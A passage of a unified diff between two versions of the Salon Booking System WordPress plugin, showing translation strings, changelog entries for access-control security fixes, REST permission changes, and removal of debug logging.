receiving \"\n+\"priority support and updates.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:28\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:28\n+msgid \"Your telephone number is verified\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSmsStep.php:87\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSmsStep.php:87\n+msgid \"Your verification code is not valid\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:558\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:558\n+msgid \"Zapier\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsms\u002Fremind.php:50\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsms\u002Fremind.php:50\n+msgid \"| Booking ID \"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsms\u002Fremind.php:51\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsms\u002Fremind.php:51\n+msgid \"| Timing: \"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:107\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:107\n+msgid \"⚙️ Advanced: External Cron Setup (Optional)\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FPreviewBulkFeedback.php:37\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FPreviewBulkFeedback.php:37\n+msgid \"⚠️ Neither email nor SMS is enabled. Please enable at least one.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FPreviewBulkFeedback.php:50\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FPreviewBulkFeedback.php:50\n+msgid \"⚠️ No custom feedback URL (guest bookings will be excluded)\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FManager.php:1595\n+msgid \"⚠️ Slow License API Response\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FPreviewBulkFeedback.php:48\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FPreviewBulkFeedback.php:48\n+msgid \"✓ Custom feedback URL configured (guest bookings can be included)\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FPreviewBulkFeedback.php:40\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FPreviewBulkFeedback.php:40\n+msgid \"✓ Email enabled\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FWrapper\u002FBooking\u002FBuilder.php:430, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking\u002FBuilder.php:430, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking\u002FBuilder.php:430, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking\u002FBuilder.php:430, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking\u002FBuilder.php:430, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking\u002FBuilder.php:430\n-msgid \"Unable to create booking. Please try again or contact the website administrator.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FPreviewBulkFeedback.php:43\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FPreviewBulkFeedback.php:43\n+msgid \"✓ SMS enabled\"\n msgstr \"\"\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Freadme.txt \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Freadme.txt\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Freadme.txt\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Freadme.txt\t2026-04-21 18:43:56.000000000 +0000\n@@ -4,7 +4,7 @@\n Requires at least: 4.1\n Tested up to: 6.9\n Requires PHP: 7.4.8\n-Stable tag: 10.30.23\n+Stable tag: 10.30.26\n License: GPLv2 or later\n License URI: http:\u002F\u002Fwww.gnu.org\u002Flicenses\u002Fgpl-2.0.html\n \n@@ -408,6 +408,26 @@\n \n == Changelog ==\n \n+\n+21.04.2026 - 10.30.26\n+\n+\n+* Vulnerability fix\n+* Minor fixes and improvements \n+\n+\n+08.04.2026 - 10.30.25\n+\n+* Front-end booking form optimizations\n+\n+* Back-end calendar optimizations\n+\n+* Security fix: booking cancellation link now requires the secure token format (ID-hash) — plain numeric booking IDs are rejected, preventing unauthenticated users from cancelling arbitrary bookings\n+\n+06.04.2026 - 10.30.24\n+\n+* Security fix: added capability and nonce checks to AJAX actions SetBookingOnProcess, RemoveNotice, DismissPerformanceIndexesNotice, RememberTab, and AbstractImport to prevent unauthorized access (Broken Access Control)\n+\n 24.03.2026 - 10.30.23\n \n * Minor issues on front-end booking form discount tab fixed\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsalon.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsalon.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsalon.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsalon.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -3,7 +3,7 @@\n \u002F*\n Plugin Name: Salon Booking System - Free Version\n Description: Let your customers book you services through your website. Perfect for hairdressing salons, barber shops and beauty centers.\n-Version: 10.30.23\n+Version: 10.30.26\n Plugin URI: http:\u002F\u002Fsalonbookingsystem.com\u002F\n Author: Salon Booking System\n Author URI: http:\u002F\u002Fsalonbookingsystem.com\u002F\n@@ -45,7 +45,7 @@\n define('SLN_PLUGIN_BASENAME', plugin_basename(__FILE__));\n define('SLN_PLUGIN_DIR', untrailingslashit(dirname(__FILE__)));\n define('SLN_PLUGIN_URL', untrailingslashit(plugins_url('', __FILE__)));\n-define('SLN_VERSION', '10.30.23');\n+define('SLN_VERSION', '10.30.26');\n define('SLN_STORE_URL', 'https:\u002F\u002Fsalonbookingsystem.com');\n define('SLN_AUTHOR', 'Salon Booking');\n define('SLN_UPLOADS_DIR', wp_upload_dir()['basedir'] . '\u002Fsln_uploads\u002F');\n@@ -153,6 +153,8 @@\n \techo '\u003C\u002Fstrong>\u003C\u002Fspan>';\n }, 10, 2);\n \n+spl_autoload_register($sln_autoload);\n+\n add_action('plugins_loaded', function () {\n \tadd_filter('plugin_locale', function ($locale, $domain) {\n \t\tif ($domain === 'salon-booking-system') {\n@@ -167,14 +169,14 @@\n \t\u002F\u002F 2. WP_LANG_DIR\u002Floco\u002Fplugins\u002F (Loco Translate custom location)\n \t\u002F\u002F 3. Plugin's own \u002Flanguages\u002F directory (Autore location)\n \tload_plugin_textdomain('salon-booking-system', false, basename(SLN_PLUGIN_DIR) . '\u002Flanguages');\n-});\n+\n+\tglobal $sln_plugin;\n+\t$sln_plugin = SLN_Plugin::getInstance();\n+\tdo_action('sln.init', $sln_plugin);\n+}, 1);\n \u002F\u002F phpcs:ignoreFile WordPress.Security.NonceVerification.Missing\n \u002F\u002F phpcs:ignoreFile WordPress.Security.NonceVerification.Recommended\n \n-spl_autoload_register($sln_autoload);\n-$sln_plugin = SLN_Plugin::getInstance();\n-do_action('sln.init', $sln_plugin);\n-\n \u002F\u002F Initialize rollback handler after WordPress is fully loaded (PRO only)\n if (defined('SLN_VERSION_PAY')) {\n \tadd_action('plugins_loaded', function() {\n@@ -249,6 +251,9 @@\n });\n \n register_activation_hook(__FILE__, function () {\n+\t\u002F\u002F PWA: next salon-booking-pwa load rewrites dist assets from *.template.* (new plugin zip).\n+\t\\SLB_PWA\\Plugin::invalidate_dist_regeneration_cache();\n+\n \t\u002F\u002F Record activation time for churn analysis\n \tif (!get_option('sln_activation_time')) {\n \t\tupdate_option('sln_activation_time', current_time('timestamp'));\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsln-booking-debug.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsln-booking-debug.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsln-booking-debug.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsln-booking-debug.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -362,7 +362,7 @@\n \u002F**\n  * Helper function to get status class\n  *\u002F\n-function get_status_class($status) {\n+function sln_debug_get_status_class($status) {\n     $status = str_replace(['sln-b-', '-'], '', $status);\n     return 'status-' . $status;\n }\n@@ -370,7 +370,7 @@\n \u002F**\n  * Helper function to display booking details\n  *\u002F\n-function display_booking_details($post, $show_meta = true) {\n+function sln_debug_display_booking_details($post, $show_meta = true) {\n     global $wpdb;\n     \n     $status_labels = [\n@@ -387,7 +387,7 @@\n     ];\n     \n     $status_label = isset($status_labels[$post->post_status]) ? $status_labels[$post->post_status] : $post->post_status;\n-    $status_class = get_status_class($post->post_status);\n+    $status_class = sln_debug_get_status_class($post->post_status);\n     \n     \u002F\u002F Get all booking meta\n     $meta = get_post_meta($post->ID);\n@@ -605,7 +605,7 @@\n             \n             \u002F\u002F Refresh and display the updated booking\n             $post = get_post($fix_booking_id);\n-            display_booking_details($post);\n+            sln_debug_display_booking_details($post);\n         } else {\n             echo '\u003Cdiv class=\"results-card\" style=\"background: rgba(233, 69, 96, 0.1); border: 1px solid var(--danger);\">';\n             echo '\u003Ch2 style=\"color: var(--danger);\">❌ Error\u003C\u002Fh2>';\n@@ -637,7 +637,7 @@\n             echo '\u003Cdiv class=\"results-card\" style=\"background: rgba(0, 210, 106, 0.1); border: 1px solid var(--success);\">';\n             echo '\u003Ch2 style=\"color: var(--success);\">✅ Booking Found by ID\u003C\u002Fh2>';\n             echo '\u003C\u002Fdiv>';\n-            display_booking_details($post);\n+            sln_debug_display_booking_details($post);\n         } else if ($post) {\n             echo '\u003Cdiv class=\"results-card\" style=\"background: rgba(255, 193, 7, 0.1); border: 1px solid var(--warning);\">';\n             echo '\u003Ch2 style=\"color: var(--warning);\">⚠️ Post Found but NOT a Booking\u003C\u002Fh2>';\n@@ -679,7 +679,7 @@\n             echo '\u003C\u002Fdiv>';\n             \n             foreach ($results as $post) {\n-                display_booking_details($post, count($results) === 1);\n+                sln_debug_display_booking_details($post, count($results) === 1);\n             }\n         } else if (!$found) {\n             echo '\u003Cdiv class=\"results-card\" style=\"background: rgba(233, 69, 96, 0.1); border: 1px solid var(--danger);\">';\n@@ -791,7 +791,7 @@\n     \n     if ($results) {\n         foreach ($results as $post) {\n-            display_booking_details($post, false);\n+            sln_debug_display_booking_details($post, false);\n         }\n     } else {\n         echo '\u003Cp style=\"color: var(--success);\">✅ No error bookings found.\u003C\u002Fp>';\n@@ -921,7 +921,7 @@\n         $total = 0;\n         foreach ($results as $row) {\n             $total += $row->count;\n-            $status_class = get_status_class($row->post_status);\n+            $status_class = sln_debug_get_status_class($row->post_status);\n             echo '\u003Cdiv class=\"data-item\">';\n             echo '\u003Cdiv class=\"label\">' . esc_html($row->post_status) . '\u003C\u002Fdiv>';\n             echo '\u003Cdiv class=\"value\">\u003Cspan class=\"status-badge ' . esc_attr($status_class) . '\">' . esc_html($row->count) . ' bookings\u003C\u002Fspan>\u003C\u002Fdiv>';\n@@ -942,7 +942,7 @@\n         echo '\u003Cthead>\u003Ctr>\u003Cth>ID\u003C\u002Fth>\u003Cth>Title\u003C\u002Fth>\u003Cth>Status\u003C\u002Fth>\u003Cth>Created\u003C\u002Fth>\u003C\u002Ftr>\u003C\u002Fthead>';\n         echo '\u003Ctbody>';\n         foreach ($recent as $post) {\n-            $status_class = get_status_class($post->post_status);\n+            $status_class = sln_debug_get_status_class($post->post_status);\n             echo '\u003Ctr>';\n             echo '\u003Ctd>' . esc_html($post->ID) . '\u003C\u002Ftd>';\n             echo '\u003Ctd>' . esc_html($post->post_title) . '\u003C\u002Ftd>';\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -245,8 +245,8 @@\n \n             $availabilities[] = array(\n                 'days'      => $avDays,\n-                'from'      => (object)$data['from'],\n-                'to'        => (object)$data['to'],\n+                'from'      => array_values( (array) $data['from'] ),\n+                'to'        => array_values( (array) $data['to'] ),\n                 'always'    => $data['always'],\n                 'from_date' => $data['from_date'],\n                 'to_date'   => $data['to_date'],\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1231,6 +1231,13 @@\n             throw new \\Exception(esc_html__( 'Save post error.', 'salon-booking-system' ));\n         }\n \n+        \u002F\u002F Explicitly persist admin_note — meta_input can be silently skipped by\n+        \u002F\u002F caching plugins or wp_insert_post_data filters that strip unknown keys.\n+        $admin_note_value = $request->get_param('admin_note');\n+        if ( $admin_note_value !== null ) {\n+            update_post_meta( $id, '_sln_booking_admin_note', $admin_note_value );\n+        }\n+\n         $booking = $this->prepare_item_for_response($id, $request);\n \n         do_action('sln.api.booking.pre_eval', $booking, $request->get_param('discounts'));\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -207,7 +207,7 @@\n             array(\n                 'methods'             => WP_REST_Server::READABLE,\n                 'callback'            => array( $this, 'get_customer_no_shows' ),\n-                'permission_callback' => array( $this, 'create_item_permissions_check' ),\n+                'permission_callback' => array( $this, 'get_item_permissions_check' ),\n                 'args' => array(\n                     'limit' => array(\n                         'description' => __( 'Limit number of no-show bookings to return.', 'salon-booking-system' ),\n@@ -230,7 +230,13 @@\n         if ($capability === 'read' && $this->is_shop_manager()) {\n             return true;\n         }\n-        \n+\n+        \u002F\u002F Align with REST_Controller: salon roles with manage_salon (e.g. salon_staff) can read\n+        \u002F\u002F report\u002Fanalytics endpoints that use get_items_permissions_check( 'read' ).\n+        if ( $capability === 'read' && current_user_can( 'manage_salon' ) ) {\n+            return true;\n+        }\n+\n         $capabilities = array(\n             'create' => 'add_users',\n             'edit'   => 'edit_users',\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_API\u002FController\u002FShops_Controller.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_API\u002FController\u002FShops_Controller.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_API\u002FController\u002FShops_Controller.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_API\u002FController\u002FShops_Controller.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -82,7 +82,12 @@\n         if ($this->is_shop_manager()) {\n             return true;\n         }\n-        \n+\n+        \u002F\u002F Same as other salon REST read access (e.g. reports dashboard shop selector)\n+        if ( current_user_can( 'manage_salon' ) ) {\n+            return true;\n+        }\n+\n         return false;\n     }\n }\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FApp_Controller.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FApp_Controller.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FApp_Controller.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FApp_Controller.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -101,7 +101,10 @@\n             $holidays_daily = $s->get('holidays_daily');\n \n             $firstRule = reset($availabilities);\n-            $availableDays = $firstRule['days'] ?? [];\n+            \u002F\u002F Normalize days values to strings so JS comparisons are consistent\n+            \u002F\u002F (days may be stored as integer 1 when set programmatically\u002Fvia onboarding)\n+            $firstDays = isset($firstRule['days']) && is_array($firstRule['days']) ? $firstRule['days'] : [];\n+            $availableDays = array_map('strval', $firstDays);\n \n             $rulesData = array();\n             foreach ($availabilities as $idx => $rule) {\n@@ -118,14 +121,15 @@\n                         'disabled' => !empty($rule['disable_second_shift']),\n                     );\n                 }\n+                $ruleDays = isset($rule['days']) && is_array($rule['days']) ? array_map('strval', $rule['days']) : array();\n                 $rulesData[] = array(\n-                    'days' => $rule['days'] ?? array(),\n+                    'days' => $ruleDays,\n                     'shifts' => $shifts,\n                     'always' => !empty($rule['always']),\n                     'from_date' => $rule['from_date'] ?? null,\n                     'to_date' => $rule['to_date'] ?? null,\n                 );\n-                $availableDays += isset($rule['days']) && is_array($rule['days']) ? $rule['days'] : array();\n+                $availableDays += $ruleDays;\n             }\n             $date_format = $s->get('date_format');\n             $time_format = $s->get('time_format');\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -352,15 +352,11 @@\n \n     public function get_items( $request )\n     {\n-        error_log('🔵 Bookings API get_items called');\n-        error_log('🔵 Request params: ' . print_r($request->get_params(), true));\n         if( !current_user_can( 'manage_salon' ) ){\n-            error_log('🔴 Permission denied: user cannot manage_salon');\n             return rest_ensure_response( array(\n                 'status' => '403',\n                 ) );\n         }\n-        error_log('🔵 Permission OK');\n         $prepared_args          = array();\n         $prepared_args['order'] = $request->get_param('order');\n         $prepared_args['order'] = isset($prepared_args['order']) && in_array(strtolower($prepared_args['order']), array('asc', 'desc')) ? $prepared_args['order'] : 'asc';\n@@ -441,7 +437,6 @@\n \n         if ($request->get_param('customers')) {\n             $prepared_args['author__in'] = $request->get_param('customers');\n-            error_log('🔵 Customers filter applied: ' . print_r($prepared_args['author__in'], true));\n         }\n \n         if ($request->get_param('shop')) {\n@@ -516,10 +511,11 @@\n         $plugin = SLN_Plugin::getInstance();\n \n         $isCurrUserAtt = false;\n-        if (in_array(SLN_Plugin::USER_ROLE_STAFF, wp_get_current_user()->roles)) {\n+        $assistantsIDs = array();\n+        $currentUserRoles = wp_get_current_user()->roles;\n+        if (in_array(SLN_Plugin::USER_ROLE_STAFF, $currentUserRoles) || in_array(SLN_Plugin::USER_ROLE_WORKER, $currentUserRoles)) {\n             $isCurrUserAtt = true;\n \n-            $assistantsIDs = array();\n             $repo       = $plugin->getRepository(SLN_Plugin::POST_TYPE_ATTENDANT);\n             $attendants = $repo->getAll();\n \n@@ -532,17 +528,7 @@\n \n \t$prepared_args = apply_filters('sln_api_bookings_get_items_prepared_args', $prepared_args, $request);\n \n-        error_log('🔵 Bookings API WP_Query args: ' . print_r($prepared_args, true));\n-        \n-        \u002F\u002F DEBUG: Log the SQL query\n-        add_filter('posts_request', function($sql) {\n-            error_log('🔵 SQL Query: ' . $sql);\n-            return $sql;\n-        }, 999);\n-        \n         $query = new WP_Query( $prepared_args );\n-        error_log('🔵 Bookings API found posts: ' . $query->found_posts);\n-        error_log('🔵 Bookings API post IDs: ' . print_r($query->posts, true));\n \n         try {\n             foreach ( $query->posts as $booking ) {\n@@ -724,10 +710,11 @@\n         $plugin = SLN_Plugin::getInstance();\n \n         $isCurrUserAtt = false;\n-        if (in_array(SLN_Plugin::USER_ROLE_STAFF, wp_get_current_user()->roles)) {\n+        $assistantsIDs = array();\n+        $currentUserRoles = wp_get_current_user()->roles;\n+        if (in_array(SLN_Plugin::USER_ROLE_STAFF, $currentUserRoles) || in_array(SLN_Plugin::USER_ROLE_WORKER, $currentUserRoles)) {\n             $isCurrUserAtt = true;\n \n-            $assistantsIDs = array();\n             $repo       = $plugin->getRepository(SLN_Plugin::POST_TYPE_ATTENDANT);\n             $attendants = $repo->getAll();\n \n@@ -860,10 +847,11 @@\n             $value = $field->isCustomer() && $booking->getCustomer() && $field->isAdditional() ? $field->getValue($booking->getCustomer()->getId())\n             : (in_array('_sln_booking_' . $field['key'], get_post_custom_keys($booking->getId()) ?? array()) ? $booking->getMeta($field['key']) : (null !== $field['default_value'] ? $field['default_value'] : ''));\n             $custom_fields[] = array(\n-                'key'   => $field['key'],\n-                'value' => $value,\n-                'label' => __(sprintf('%s', $field['label']), 'salon-booking-system'),\n-                'type'  => $field['type'],\n+                'key'         => $field['key'],\n+                'value'       => $value,\n+                'label'       => 